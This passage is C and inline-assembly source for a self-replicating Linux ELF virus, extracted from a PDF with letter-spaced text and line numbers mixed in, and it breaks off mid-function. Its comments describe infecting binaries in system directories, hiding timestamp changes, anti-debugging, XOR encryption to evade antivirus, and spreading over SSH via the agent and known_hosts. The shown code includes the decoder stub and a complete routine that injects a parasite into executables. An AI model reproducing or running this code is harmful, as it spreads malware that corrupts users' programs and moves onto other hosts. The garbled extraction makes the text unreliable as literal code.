* 3. If r o o t we c h e c k f o r e x e c u t a b l e s in / u s r / b i n :/ b i n :/ s b i n :/ u s r / s b i n
18
*
o t h e r w i s e in t h e c u r r e n t
d i r e c t o r y .
19
* 4. We s e a r c h
s u b d i r e c t o r i e s t o o f o r e x e c u t a b l e s .
20
* 5. We p r e s e r v e t h e m o d i f i c a t i o n / a c c e s s t i m e of t h e e x e c u t a b l e to
21
*
be i n f e c t e d ( s i z e c h a n g e s t h o u g h ).
22
22
* 6. We h a v e s o m e anti - d e b u g f e a t u r e s t h a t w i l l p r e v e n t
s o m e b o d y
23
*
f r o m c h e c k i n g o u r c o d e u s i n g o b j d u m p , or p t r a c e ( if A N T I _ D E B U G is
24
*
d e f i n e d ).
25
* 7. If S S H _ A G E N T is r u n n i n g we s p r e a d a c r o s s a l l k n o w n h o s t s ( if U _ S P R E A D
26
*
is d e f i n e d ).
27
* 8. We do X O R of o u r m a i n b o d y w i t h a r a n d o m v a l u e t h a t c h a n g e s
a c c r o s s
28
*
i n f e c t i o n s .
29
*
T h a t w i l l n o t g i v e to anti - v i r u s s o f t w a r e m u c h to i d e n t i f y us ( we s t i l l
30
*
h a v e a 60 -70 b y t e s d e c o d e r , t h a t c a n be u s e d to i d e n t i f y us ).
31
* 9. T h e i n f e c t i o n
f u n c t i o n is m u c h m o r e c o m p a c t by u s i n g m m a p () i n s t e a d of
32
*
o p e n () , r e a d () , w r i t e ( ) .
33
*
34
*/
35
36
# i n c l u d e < l i n u x / t y p e s . h >
37
# i n c l u d e < l i n u x / u n i s t d . h >
38
# i n c l u d e < l i n u x / d i r e n t . h >
39
# i n c l u d e < l i n u x / t i m e . h >
40
# i n c l u d e < l i n u x / f c n t l . h >
41
# i n c l u d e < l i n u x / elf . h >
42
/* f o r s t r u c t s t a t */
43
# i n c l u d e < asm / s t a t . h >
44
45
/* f o r M A P _ S H A R E D */
46
# i n c l u d e < asm / m m a n . h >
47
# d e f i n e M A P _ F A I L E D (( v o i d *)
-1)
48
49
/* f o r W E X I T S T A T U S
m a c r o */
50
# d e f i n e
_ _ W E X I T S T A T U S ( s t a t u s )
((( s t a t u s ) & 0 x f f 0 0 ) > > 8)
51
52
# i n c l u d e " c o m m o n . h "
53
54
# i f d e f U _ S P R E A D
55
# d e f i n e S T R _ U _ S P R E A D " H O M E \\0 S S H _ A G E N T _ P I D \ \ 0 / usr / bin / scp \ \ 0 / usr / bin / ssh \\0 " \
56
" . ssh / k n o w n _ h o s t s \\0 S S H _ A S K P A S S =/ dev / n u l l \\0 " \
57
" ./ c . out \\0 rm c . out \ \ 0 / p r o c / s e l f / m a p s \\0 "
58
59
# d e f i n e U _ S P R E A D _ H O M E ( a d d r ) a d d r
60
# d e f i n e U _ S P R E A D _ H O M E _ S I Z E 4
61
62
# d e f i n e U _ S P R E A D _ S S H _ A G E N T ( a d d r ) ( a d d r +5)
63
# d e f i n e U _ S P R E A D _ S S H _ A G E N T _ S I Z E 13
64
65
# d e f i n e U _ S P R E A D _ S C P _ B I N ( a d d r ) ( a d d r + 5 + 1 4 )
66
# d e f i n e U _ S P R E A D _ S S H _ B I N ( a d d r ) ( a d d r + 5 + 1 4 + 1 3 )
67
# d e f i n e U _ S P R E A D _ S S H _ H O S T S ( a d d r ) ( a d d r + 5 + 1 4 + 1 3 + 1 3 )
68
# d e f i n e U _ S P R E A D _ S S H _ A S K P A S S ( a d d r ) ( a d d r + 5 + 1 4 + 1 3 + 1 3 + 1 7 )
69
# d e f i n e U _ S P R E A D _ D E V _ N U L L ( a d d r ) ( a d d r + 5 + 1 4 + 1 3 + 1 3 + 1 7 + 1 2 )
70
# d e f i n e U _ S P R E A D _ S S H _ C O M M 1 ( a d d r ) ( a d d r + 5 + 1 4 + 1 3 + 1 3 + 1 7 + 2 2 )
71
# d e f i n e U _ S P R E A D _ S S H _ C O M M 2 ( a d d r ) ( a d d r + 5 + 1 4 + 1 3 + 1 3 + 1 7 + 2 2 + 8 )
72
# d e f i n e U _ S P R E A D _ C O U T ( a d d r ) U _ S P R E A D _ S S H _ C O M M 1 ( a d d r )
73
# d e f i n e U _ S P R E A D _ P R O C ( a d d r ) ( a d d r + 5 + 1 4 + 1 3 + 1 3 + 1 7 + 2 2 + 8 + 9 )
74
# e n d i f
75
76
# i f d e f A N T I _ D E B U G
77
# i n c l u d e < l i n u x / p t r a c e . h >
78
# e n d i f
79
80
# d e f i n e E L F _ P A G E _ S I Z E
4 0 9 6
81
# d e f i n e A L L O C _ S T R
" 4 0 9 6 "
82
83
/* to g e t s i z e o n l y */
84
# d e f i n e N O _ S T R I N G
85
86
# i n c l u d e " p a r a s i t e . h "
87
# i n c l u d e " d e c o d e r . h "
88
23
89
/* m a g i c n u m b e r to m a r k i n i t i a l d a t a in t h e s t a c k .
90
*/
91
# d e f i n e M A G I C " 0 x 6 3 6 2 6 9 6 c "
92
93
94
/* s t d i o . h h a s t h e s e n o r m a l l y , b u t we a r e t r y i n g to a v o i d l i b c
95
*/
96
97
# d e f i n e S E E K _ S E T
0
98
# d e f i n e S E E K _ C U R
1
99
# d e f i n e S E E K _ E N D
2
100
101
# d e f i n e P R N _ M O D
509
102
# d e f i n e P R N _ M U L
5
103
# d e f i n e P R N _ I N C
31
104
105
# d e f i n e Y I N F E C T
3
106
107
/* d i r e c t o r i e s to s e a r c h f o r v i c t i m s
108
*/
109
# d e f i n e S T R _ D I R " / usr / bin \ \ 0 / usr / s b i n \ \ 0 . \ \ 0 "
110
# d e f i n e D I R _ B I N ( a d d r ) ( a d d r +4)
111
# d e f i n e D I R _ U S R _ B I N ( a d d r ) ( a d d r )
112
# d e f i n e D I R _ S B I N ( a d d r ) ( a d d r + 1 3 )
113
# d e f i n e D I R _ U S R _ S B I N ( a d d r ) ( a d d r +9)
114
# d e f i n e D I R _ D O T ( a d d r ) ( a d d r + 1 9 )
115
116
/* W h e r e t h e m e m o r y m a p of t h e r u n n i n g f i l e s t a r t s . It s e e m s
117
* to be on t h e s a m e a d d r e s s f o r e v e r y p r o c e s s . A f i n e r w a y w o u l d
118
* be to c h e c k / p r o c / s e l f / m a p s . B u t it is t o o m u c h b u r d e n a n d t h i s
119
* s e e m s to w o r k e v e r y w h e r e .
120
*/
121
# d e f i n e E L F _ M E M _ S T A R T 0 x 0 8 0 4 8 0 0 0
122
123
/* f o r u t i m e () */
124
s t r u c t u t i m b u f {
125
t i m e _ t a c t i m e ;
/* a c c e s s t i m e */
126
t i m e _ t m o d t i m e ;
/* m o d i f i c a t i o n t i m e */
127
};
128
129
/* we s t a r t h e r e by s a v i n g o u r r e g i s t e r s ( so w h e n we
130
* j u m p b a c k to h o s t e v e r y t h i n g l o o k s n o r m a l ).
131
* to be r e s t o r e d l a t e r on . T h e n we j u m p at m a i n .
132
*/
133
# d e f i n e V A R S _ P U S H E D 9
/* h o w m a n y v a r i a b l e s we p u s h h e r e */
134
/* m a i n 0 is o u r s t a r t i n g p o i n t . A c t u a l l y t h i s m u s t be
135
* p l a c e d by t h e c o m p i l e r in t h e o b j e c t b e f o r e m a i n ( ) .
136
* D o n ’ t k n o w h o w to f o r c e this , b u t g c c b e h a v e s ok ( t h e i n t e l cc n o t ).
137
*/
138
asm ( " m a i n 0 :\ n "
139
" p u s h l % esp \ n "
140
" p u s h l % ebp \ n "
141
" m o v l % esp , % ebp \ n "
142
" p u s h l % edi \ n "
143
" p u s h l % esi \ n "
144
" p u s h l % eax \ n "
145
" p u s h l % ebx \ n "
146
" p u s h l % ecx \ n "
147
" p u s h l % edx \ n "
148
# i f d e f A N T I _ D E B U G
149
" jmp a n t i d e b u g 1 + 1\ n "
150
" a n t i d e b u g 1 :\ n "
151
" . b y t e 0 xeb \ n "
152
/* 3 b y t e s */
153
# e n d i f
154
" p u s h l $ " M A G I C " \ n "
155
/* o u r d e c o d e r */
24
156
# i f d e f E N C R Y P T
157
/* r e s e r v e s o m e m e m o r y */
158
159
/* a l l o c a t e s o m e m e m o r y , u s i n g b r k () a n d p u t
160
* t h e o u t p u t to % e c x . We c r e a t e a leak , b u t it is
161
* m o r e e f f i c i e n t t h a n u s i n g t h e stack , a n d m o r e p o r t a b l e t o o .
162
* we a l s o w o r k on non - e x e c u t a b l e - s t a c k s y s t e m s . */
163
" x o r l % ebx , % ebx \ n "
164
" m o v l $45 , % edx \ n "
165
" m o v l % edx , % eax \ n "
166
" int $ 0 x 8 0 \ n " /* % e a x = b r k ( 0 ) */
167
" m o v l % eax , % ecx \ n "
168
" l e a l " A L L O C _ S T R " (% ecx ) , % ebx \ n "
169
" m o v l % edx , % eax \ n "
170
" int $ 0 x 8 0 \ n " /* x = b r k ( x + 4 0 9 6 ) */
171
/* % e c x n o w h o l d s o u r h e a p d a t a
172
*/
173
174
/* f i n d w h e r e t h e e n c o d e d d a t a a r e
175
*/
176
" jmp w h e r e _ a r e _ e n c _ d a t a \ n "
177
" h e r e _ w e _ a r e :\ n "
178
" pop % ebx \ n "
179
180
" x o r l % edx , % edx \ n " /* e d x = 0 */
181
" . m y L 6 :\ n "
182
183
/* x o r m e m o r y f r o m % e c x f o r 3 6 0 0 b y t e s w i t h
184
* t h e c o n s t a n t 0 x 5 f 5 f 5 f 5 f . T h i s c o n s t a n t w i l l be
185
* p a t c h e d a c r o s s
i n f e c t i o n s .
186
* % e b x : e n c o d e d d a t a a d d r e s s
187
* % e c x : o u r h e a p s p a c e
188
*/
189
" m o v l (% ebx ,% edx ,4) , % eax \ n "
190
" x o r l $ 0 x 5 f 5 f 5 f 5 f , % eax \ n "
191
" m o v l % eax , (% ecx ,% edx , 4 ) \ n "
192
" i n c l % edx \ n "
193
" c m p l $900 , % edx \ n " /* W A R N I N G : t h i s ( * 4 ) m u s t be o u r m a x i m u m s i z e */
194
195
" jle . m y L 6 \ n "
196
" jmp *% ecx \ n "
197
198
" w h e r e _ a r e _ e n c _ d a t a :\ n "
199
" c a l l h e r e _ w e _ a r e \ n "
200
/* a f t e r t h i s p o i n t
e v e r y t h i n g is e n c o d e d .
201
*/
202
# e n d i f
203
" e n c o d e d _ s t u f f :\ n "
204
# i f d e f A N T I _ D E B U G
205
" jmp a n t i d e b u g 2 + 2\ n "
206
" a n t i d e b u g 2 :\ n "
207
" . s h o r t 0 x 0 3 0 5 \ n "
208
# e n d i f
209
" jmp m a i n \ n "
210
);
211
212
/*
213
R e m e m b e r , we c a n t u s e l i b c e v e n f o r t h i n g s l i k e open , c l o s e e t c
214
215
N e w _ _ s y s c a l l
m a c r o s a r e m a d e so n o t to u s e e r r n o w h i c h a r e j u s t
216
m o d i f i e d
_ s y s c a l l
r o u t i n e s f r o m a s m / u n i s t d . h
217
*/
218
# d e f i n e _ _ s y s c a l l 0 ( type , n a m e ) \
219
t y p e n a m e ( v o i d ) \
220
{ \
221
l o n g _ _ r e s ; \
222
asm v o l a t i l e ( " int $ 0 x 8 0 " \
25
223
: " = a " ( _ _ r e s ) \
224
: " 0 " ( _ _ N R _ ## n a m e )); \
225
r e t u r n ( t y p e ) _ _ r e s ; \
226
}
227
228
# d e f i n e _ _ s y s c a l l 1 ( type , name , type1 , a r g 1 ) \
229
t y p e n a m e ( t y p e 1 a r g 1 ) \
230
{ \
231
l o n g _ _ r e s ; \
232
asm v o l a t i l e ( " int $ 0 x 8 0 " \
233
: " = a " ( _ _ r e s ) \
234
: " 0 " ( _ _ N R _ ## n a m e ) , " b " (( l o n g )( a r g 1 ) ) ) ; \
235
r e t u r n ( t y p e ) _ _ r e s ; \
236
}
237
238
# d e f i n e _ _ s y s c a l l 2 ( type , name , type1 , arg1 , type2 , a r g 2 ) \
239
t y p e n a m e ( t y p e 1 arg1 , t y p e 2 a r g 2 ) \
240
{ \
241
l o n g _ _ r e s ; \
242
asm v o l a t i l e ( " int $ 0 x 8 0 " \
243
: " = a " ( _ _ r e s ) \
244
: " 0 " ( _ _ N R _ ## n a m e ) , " b " (( l o n g )( a r g 1 )) , " c " (( l o n g )( a r g 2 ) ) ) ; \
245
r e t u r n ( t y p e ) _ _ r e s ; \
246
}
247
248
# d e f i n e _ _ s y s c a l l 3 ( type , name , type1 , arg1 , type2 , arg2 , type3 , a r g 3 ) \
249
t y p e n a m e ( t y p e 1 arg1 , t y p e 2 arg2 , t y p e 3 a r g 3 ) \
250
{ \
251
l o n g _ _ r e s ; \
252
asm v o l a t i l e ( " int $ 0 x 8 0 " \
253
: " = a " ( _ _ r e s ) \
254
: " 0 " ( _ _ N R _ ## n a m e ) , " b " (( l o n g )( a r g 1 )) , " c " (( l o n g )( a r g 2 )) , \
255
" d " (( l o n g )( a r g 3 ) ) ) ; \
256
r e t u r n ( t y p e ) _ _ r e s ; \
257
}
258
259
# d e f i n e _ _ s y s c a l l 4 ( type , name , type1 , arg1 , type2 , arg2 , type3 , arg3 , type4 , a r g 4 ) \
260
t y p e n a m e ( t y p e 1 arg1 , t y p e 2 arg2 , t y p e 3 arg3 , t y p e 4 a r g 4 ) \
261
{ \
262
l o n g _ _ r e s ; \
263
asm v o l a t i l e ( " int $ 0 x 8 0 " \
264
: " = a " ( _ _ r e s ) \
265
: " 0 " ( _ _ N R _ ## n a m e ) , " b " (( l o n g )( a r g 1 )) , " c " (( l o n g )( a r g 2 )) , \
266
" d " (( l o n g )( a r g 3 )) , " S " (( l o n g )( a r g 4 ) ) ) ; \
267
r e t u r n ( t y p e ) _ _ r e s ; \
268
}
269
270
271
# d e f i n e p r n _ d o ( M )
(( P R N _ M U L *( M ) + P R N _ I N C ) % P R N _ M O D );
272
273
/* i n l i n e t h e m s e e m s to c o n s u m e l e s s b y t e s . */
274
275
i n l i n e _ _ s y s c a l l 1 ( time_t , time , t i m e _ t * , t );
276
i n l i n e _ _ s y s c a l l 2 ( int , fstat , int , fd , s t r u c t s t a t * , buf );
277
i n l i n e _ _ s y s c a l l 1 ( int , close , int , fd );
278
i n l i n e _ _ s y s c a l l 3 ( off_t , lseek , int , filedes , off_t , offset , int , w h e n c e );
279
i n l i n e _ _ s y s c a l l 1 ( u n s i g n e d long , brk , u n s i g n e d long , brk );
280
i n l i n e _ _ s y s c a l l 3 ( int , open , c o n s t c h a r * , file , int , flag , int , m o d e );
281
i n l i n e _ _ s y s c a l l 3 ( ssize_t , read , int , fd , v o i d * , buf , size_t , c o u n t );
282
i n l i n e _ _ s y s c a l l 3 ( ssize_t , write , int , fd , c o n s t v o i d * , buf , size_t ,
283
c o u n t );
284
i n l i n e _ _ s y s c a l l 3 ( int , g e t d e n t s , uint , fd , s t r u c t d i r e n t * , dirp , uint , c o u n t );
285
286
# i f d e f A N T I _ D E B U G
287
i n l i n e _ _ s y s c a l l 4 ( long , ptrace , int , request , pid_t , pid , v o i d * , addr ,
288
v o i d * , d a t a );
289
# e n d i f
26
290
i n l i n e _ _ s y s c a l l 2 ( int , utime , c h a r * , f i l e n a m e , s t r u c t u t i m b u f * , buf );
291
i n l i n e _ _ s y s c a l l 1 ( int , chdir , c h a r * , p a t h );
292
i n l i n e _ _ s y s c a l l 1 ( int , fchdir , int , fd );
293
i n l i n e _ _ s y s c a l l 0 ( uid_t , g e t u i d );
294
295
296
i n l i n e _ _ s y s c a l l 0 ( pid_t , f o r k );
297
i n l i n e _ _ s y s c a l l 0 ( pid_t , s e t s i d );
298
i n l i n e _ _ s y s c a l l 3 ( int , execve , c h a r * , f i l e n a m e , c h a r ** , argv , c h a r ** ,
299
e n v p );
300
i n l i n e _ _ s y s c a l l 2 ( int , dup2 , int , oldfd , int , n e w f d );
301
i n l i n e _ _ s y s c a l l 3 ( pid_t , waitpid , pid_t , pid , int * , status , int , o p t i o n s );
302
303
i n l i n e _ _ s y s c a l l 2 ( int , munmap , v o i d * , start , size_t , l e n g t h );
304
i n l i n e _ _ s y s c a l l 1 ( v o i d * , mmap , u n s i g n e d l o n g * , b u f f e r );
305
306
i n l i n e _ _ s y s c a l l 1 ( void , exit , int , s t a t u s );
307
# d e f i n e _ e x i t e x i t
308
309
i n l i n e _ _ s y s c a l l 0 ( pid_t , g e t p p i d );
310
311
/* C o p i e d f r o m u C l i b c . It s e e m s t h a t t h e c o n v e n t i o n f o r s y s c a l l 6 in x 8 6
312
* is q u i t e s t r a n g e .
313
*/
314
s t a t i c v o i d * l o c a l _ m m a p ( v o i d * addr , u n s i g n e d l o n g size , int prot ,
315
int flags , int fd , o f f _ t o f f s e t )
316
{
317
u n s i g n e d l o n g b u f f e r [ 6 ] ;
318
319
b u f f e r [0] = ( u n s i g n e d l o n g ) a d d r ;
320
b u f f e r [1] = ( u n s i g n e d l o n g ) s i z e ;
321
b u f f e r [2] = ( u n s i g n e d l o n g ) p r o t ;
322
b u f f e r [3] = ( u n s i g n e d l o n g ) f l a g s ;
323
b u f f e r [4] = ( u n s i g n e d l o n g ) fd ;
324
b u f f e r [5] = ( u n s i g n e d l o n g ) o f f s e t ;
325
r e t u r n ( v o i d *) m m a p ( b u f f e r );
326
}
327
328
# i f d e f E N C R Y P T
329
s t a t i c v o i d m e m x o r ( int * mem , int c , int s i z e )
330
{
331
int i ;
332
for ( i = 0; i < s i z e / s i z e o f ( int ); i ++)
333
mem [ i ] ^= c ;
334
if (( i * s i z e o f ( int )) < s i z e ) mem [ i ] ^= c ;
335
}
336
# e n d i f
337
338
# i f d e f L O C A L _ S P R E A D
339
s t a t i c int i n f e c t _ e l f (
340
/* t a r g e t
f i l e n a m e */ c h a r * f i l e n a m e , /* t a r g e t fd */ int fd ,
341
/* p a r a s i t e */ c h a r * v , int vlen ,
342
l o n g vhentry , l o n g ventry , l o n g vhoff , c h a r r n v a l )
343
{
344
E l f 3 2 _ S h d r * s h d r ;
345
E l f 3 2 _ P h d r * p h d r ;
346
E l f 3 2 _ E h d r * e h d r ;
347
c h a r * f i l e _ p t r = M A P _ F A I L E D ;
348
c h a r * n e w _ f i l e _ p t r = M A P _ F A I L E D ;
349
int i ;
350
int offset , j u m p _ o f f s e t , o s h o f f ;
351
int e v a d d r ;
352
int plen , s l e n ;
353
E l f 3 2 _ S h d r * s d a t a ;
354
E l f 3 2 _ P h d r * p d a t a ;
355
int r e t v a l ;
356
s t r u c t s t a t s t a t ;
27
357
s t r u c t u t i m b u f t i m b u f ;
358
int h o s t _ e n t r y ;
359
360
/* g e t t h e i n f o r m a t i o n of t h e o r i g i n a l f i l e
361
*/
362
if ( f s t a t ( fd , & s t a t ) < 0)
363
g o t o e r r o r ;
364
365
/* d o n ’ t b o t h e r
i n f e c t i n g s m a l l f i l e s . M o s t p r o b a b l y t h e y
366
* a r e n o t e v e n E L F f i l e s .
367
*/
368
if ( s t a t . s t _ s i z e < E L F _ P A G E _ S I Z E )
369
g o t o e r r o r ;
370
371
/* p u t t h e f i l e in m e m o r y
372
*/
373
f i l e _ p t r =
374
l o c a l _ m m a p ( 0 , s t a t . st_size , P R O T _ W R I T E | P R O T _ R E A D , M A P _ P R I V A T E , fd , 0);
375
if ( f i l e _ p t r == M A P _ F A I L E D )
376
g o t o e r r o r ;
377
378
/* r e a d t h e e h d r */
379
e h d r = ( v o i d *)& f i l e _ p t r [ 0 ] ;
380
381
/* E L F c h e c k s
382
*/
383
if ( ehdr - > e _ i d e n t [0] != E L F M A G 0 ||
384
ehdr - > e _ i d e n t [1] != E L F M A G 1 ||
385
ehdr - > e _ i d e n t [2] != E L F M A G 2 ||
386
ehdr - > e _ i d e n t [3] != E L F M A G 3 )
387
g o t o e r r o r ;
388
389
/* We o n l y w o r k on i n t e l . . .
390
*/
391
if ( ehdr - > e _ t y p e != E T _ E X E C && ehdr - > e _ t y p e != E T _ D Y N )
392
g o t o e r r o r ;
393
if ( ehdr - > e _ m a c h i n e != E M _ 3 8 6 && ehdr - > e _ m a c h i n e != E M _ 4 8 6 )
394
g o t o e r r o r ;
395
if ( ehdr - > e _ v e r s i o n != E V _ C U R R E N T )
396
g o t o e r r o r ;
397
398
h o s t _ e n t r y = ehdr - > e _ e n t r y ;
399
400
/* a l l o c a t e
m e m o r y f o r t a b l e s */
401
402
p l e n = s i z e o f (* p h d r ) * ehdr - > e _ p h n u m ;
403
s l e n = s i z e o f (* s h d r ) * ehdr - > e _ s h n u m ;
404
405
406
/* r e a d t h e p h d r ’ s */
407
p d a t a = ( v o i d *)& f i l e _ p t r [ ehdr - > e _ p h o f f ]; /* l e n g t h : p l e n */
408
409
/*
410
u p d a t e t h e p h d r ’ s to r e f l e c t t h e e x t e n t i o n of t h e t e x t s e g m e n t ( to
411
a l l o w v i r u s
i n s e r t i o n )
412
*/
413
414
o f f s e t = 0;
415
416
for ( p h d r = pdata , i = 0; i < ehdr - > e _ p h n u m ; i ++) {
417
if ( o f f s e t ) {
418
phdr - > p _ o f f s e t += E L F _ P A G E _ S I Z E ;
419
} e l s e if ( phdr - > p _ t y p e == P T _ L O A D && phdr - > p _ o f f s e t == 0) {
420
/*
421
is t h i s t h e t e x t s e g m e n t ? N o t h i n g s a y s t h e o f f s e t m u s t be 0 b u t it
422
n o r m a l l y is .
423
*/
28
424
int p a l e n ;
425
426
if ( phdr - > p _ f i l e s z != phdr - > p _ m e m s z )
427
g o t o e r r o r ;
428
429
e v a d d r = phdr - > p _ v a d d r + phdr - > p _ f i l e s z ;
430
p a l e n = E L F _ P A G E _ S I Z E - ( e v a d d r & ( E L F _ P A G E _ S I Z E - 1 ) ) ;
431
432
if ( p a l e n < v l e n )
433
g o t o e r r o r ;
434
435
ehdr - > e _ e n t r y = e v a d d r + v e n t r y ;
436
o f f s e t = phdr - > p _ o f f s e t + phdr - > p _ f i l e s z ;
437
438
phdr - > p _ f i l e s z += v l e n ;
439
phdr - > p _ m e m s z += v l e n ;
440
}
441
442
++ p h d r ;
443
}
444
445
if ( o f f s e t == 0)
446
g o t o e r r o r ;
447
448
j u m p _ o f f s e t = o f f s e t ;
449
450
/* r e a d t h e s h d r ’ s */
451
452
s d a t a = ( v o i d *) & f i l e _ p t r [ ehdr - > e _ s h o f f ]; /* l e n g t h : s l e n */
453
454
/* u p d a t e t h e s h d r ’ s to r e f l e c t t h e i n s e r t i o n of t h e p a r a s i t e */
455
456
for ( s h d r = sdata , i = 0; i < ehdr - > e _ s h n u m ; i ++) {
457
if ( shdr - > s h _ o f f s e t
>= o f f s e t ) {
458
shdr - > s h _ o f f s e t += E L F _ P A G E _ S I Z E ;
459
/* is t h i s t h e l a s t t e x t s e c t i o n ? */
460
} e l s e if ( shdr - > s h _ a d d r + shdr - > s h _ s i z e == e v a d d r ) {
461
/* if i t s n o t s t r i p s a f e t h e n we c a n t u s e it */
462
if ( shdr - > s h _ t y p e != S H T _ P R O G B I T S )
463
g o t o e r r o r ;
464
465
shdr - > s h _ s i z e += v l e n ;
466
}
467
468
++ s h d r ;
469
}
470
471
/* u p d a t e e h d r to r e f l e c t n e w o f f s e t s */
472
473
o s h o f f = ehdr - > e _ s h o f f ;
474
if ( ehdr - > e _ s h o f f
>= o f f s e t )
475
ehdr - > e _ s h o f f += E L F _ P A G E _ S I Z E ;
476
477
/* m a k e t h e p a r a s i t e
478
*/
479
480
/* T h i s is w h e r e we w i l l c o p y t h e v i r u s i n f e c t e d f i l e . We d i d n ’ t
481
* do it w i t h a s i n g l e m m a p to a v o i d
d e s t r o y i n g t h e f i l e on an e r r o r .
482
*/
483
484
/* e x t e n d t h e o r i g i n a l f i l e by E L F _ P A G E _ S I Z E
b y t e s
485
*/
486
l s e e k ( fd , s t a t . s t _ s i z e + E L F _ P A G E _ S I Z E -1 , S E E K _ S E T );
487
w r i t e ( fd , & h o s t _ e n t r y , 1);
488
n e w _ f i l e _ p t r = l o c a l _ m m a p ( 0 , s t a t . s t _ s i z e + E L F _ P A G E _ S I Z E ,
489
P R O T _ W R I T E , M A P _ S H A R E D , fd , 0);
490
if ( n e w _ f i l e _ p t r == M A P _ F A I L E D )
29
491
g o t o e r r o r ;
492
493
/* R e c o n s t r u c t a c o p y of t h e E L F f i l e w i t h t h e p a r a s i t e .
494
*
495
* c o p y e v e r y t h i n g
u n t i l o u r e n t r y p o i n t .
496
*/
497
498
/* p r o b a b l y
m e m m o v e w o u l d be a b e t t e r c h o i c e . . . m e m c p y s e e m s
499
* to w o r k t h o u g h t .
500
*/
501
_ _ b u i l t i n _ m e m c p y ( n e w _ f i l e _ p t r , f i l e _ p t r , o f f s e t );
502
503
# i f d e f E N C R Y P T
504
/* d e c o d e
e v e r y t h i n g */
505
m e m x o r (( int *)& v [ D _ S I Z E ] , *(( int *)& v [ D _ X O R _ I N D E X ]) , v l e n - D _ S I Z E );
506
# e n d i f
507
508
/* p a t c h t h e o f f s e t */
509
*( l o n g *) & v [ v h o f f ] = j u m p _ o f f s e t ;
510
/* t h e c o r r e c t re - e n t r y p o i n t */
511
*( int *) & v [ v h e n t r y ] = h o s t _ e n t r y ;
512
513
# i f d e f E N C R Y P T
514
/* n o w e n c o d e
e v e r y t h i n g w i t h a n e w k e y */
515
m e m x o r (( int *)& v [ D _ S I Z E ] , ( * ( ( int *)& v [ D _ X O R _ I N D E X ])) * rnval , v l e n - D _ S I Z E );
516
517
*( int *)& v [ D _ X O R _ I N D E X ] *= r n v a l ;
518
# e n d i f
519
_ _ b u i l t i n _ m e m c p y ( & n e w _ f i l e _ p t r [ o f f s e t ] , v , E L F _ P A G E _ S I Z E );
520
/* n o w a f t e r o u r c o d e */
521
522
/* o s h o f f = l o c a t i o n of s e c t i o n
h e a d e r .
523
* o f f s e t = l o c a t i o n of o u r c o d e .
524
* C o p y t h e r e s t a f t e r o u r c o d e .
525
*/
526
_ _ b u i l t i n _ m e m c p y ( & n e w _ f i l e _ p t r [ o f f s e t + E L F _ P A G E _ S I Z E ] , & f i l e _ p t r [ o f f s e t ] ,
527
s t a t . s t _ s i z e - o f f s e t );
528
529
/* k e e p t h e ( m o d ) t i m e of t h e o l d f i l e .
530
*/
531
t i m b u f . a c t i m e = s t a t . s t _ a t i m e ;
532
t i m b u f . m o d t i m e = s t a t . s t _ m t i m e ;
533
u t i m e ( f i l e n a m e , & t i m b u f );
534
535
/* A l l d o n e */
536
537
r e t v a l = 1;
538
g o t o l e a v e ;
539
540
e r r o r :
541
r e t v a l = 0;
542
543
l e a v e :
544
if ( f i l e _ p t r != M A P _ F A I L E D )
545
m u n m a p ( f i l e _ p t r , s t a t . s t _ s i z e );
546
if ( n e w _ f i l e _ p t r != M A P _ F A I L E D )
547
m u n m a p ( n e w _ f i l e _ p t r , s t a t . s t _ s i z e + E L F _ P A G E _ S I Z E );
548
r e t u r n r e t v a l ;
549
}
550
# e n d i f
/* L O C A L _ S P R E A D */
551
552
# d e f i n e R E A D _ B U F _ S I Z E 1 0 2 4
553
554
# if d e f i n e d U _ S P R E A D || U N S U R E _ A B O U T _ L D _ P O I N T E R
555
/* r e a d s 1 0 2 4 ( R E A D _ B U F _ S I Z E ) b y t e s f r o m t h e g i v e n f i l e .
556
* r e t u r n s
-1 on e r r o r or t h e s i z e r e a d o t h e r w i s e .
557
*/
30
558
s t a t i c s s i z e _ t o p e n _ a n d _ r e a d _ f i l e ( c o n s t c h a r * fname , c h a r * buf )
559
{
560
int fd ;
561
s s i z e _ t s i z e ;
562
563
fd = o p e n ( fname , O _ R D O N L Y , 0);
564
if ( fd < 0)
565
r e t u r n
-1;
566
567
s i z e = r e a d ( fd , buf , R E A D _ B U F _ S I Z E );
568
c l o s e ( fd );
569
570
r e t u r n s i z e ;
571
}
572
# e n d i f
573
574
# i f d e f U N S U R E _ A B O U T _ L D _ P O I N T E R
575
/* r e t u r n s
-1 on error , or t h e m e m o r y a d d r e s s
o t h e r w i s e .
576
* r e a d s / p r o c / s e l f / m a p s a n d f i n d s o u r b a s e m e m o r y a d d r e s s .
577
*/
578
# i n c l u d e < l i m i t s . h >
579
# d e f i n e B A S E 16
580
s t a t i c int f i n d _ e l f _ m e m _ s t a r t ( c o n s t c h a r * p r o c _ n a m e )
581
{
582
c h a r buf [ R E A D _ B U F _ S I Z E ];
583
u n s i g n e d l o n g int v = 0;
584
c h a r * n p t r = buf ;
585
586
if ( o p e n _ a n d _ r e a d _ f i l e ( p r o c _ n a m e , buf ) < 0)
587
r e t u r n
-1;
588
589
w h i l e (* n p t r ) {
590
r e g i s t e r u n s i g n e d c h a r c = * n p t r ;
591
/* c o n v e r t h e x to b i n a r y . . . t a k e n f r o m s o m e w h e r e . . . p r o b a b l y
592
* d i e t l i b c .
593
*/
594
c = ( c >= ’ a ’ ? c - ’ a ’ + 10 : c >= ’ A ’ ? c - ’ A ’ + 10 : c <=
595
’ 9 ’ ? c - ’ 0 ’ : 0 xff );
596
if ( c >= B A S E )
597
b r e a k ; /* o u t of b a s e */
598
{
599
r e g i s t e r u n s i g n e d l o n g x = ( v & 0 xff ) * B A S E + c ;
600
r e g i s t e r u n s i g n e d l o n g w = ( v > > 8) * B A S E + ( x > > 8);
601
if ( w > ( U L O N G _ M A X > > 8))
602
r e t u r n
-1;
603
v = ( w < < 8) + ( x & 0 xff );
604
}
605
++ n p t r ;
606
}
607
r e t u r n v ;
608
609
}
610
# e n d i f
611
612
# i f d e f U _ S P R E A D
613
s t a t i c c h a r * l o c a l _ g e t e n v ( c h a r ** environ , c h a r * s , int len )
614
{
615
int i ;
616
617
for ( i = 0; e n v i r o n [ i ]; ++ i )
618
if (( _ _ b u i l t i n _ m e m c m p ( e n v i r o n [ i ] , s , len ) == 0)
619
&& ( e n v i r o n [ i ][ len ] == ’ = ’ ))
620
r e t u r n e n v i r o n [ i ] + len + 1;
621
r e t u r n 0;
622
}
623
624
/* r e t u r n s 0 if e n t r y h a s b e e n r e a d a n d
-1 on e r r o r ;
31
625
* r e a d s h o s t n a m e
e n t r y s f r o m . s s h / k n o w n / h o s t s
626
*/
627
i n l i n e s t a t i c int r e a d _ n e x t _ e n t r y ( int fd , c h a r * h o s t )
628
{
629
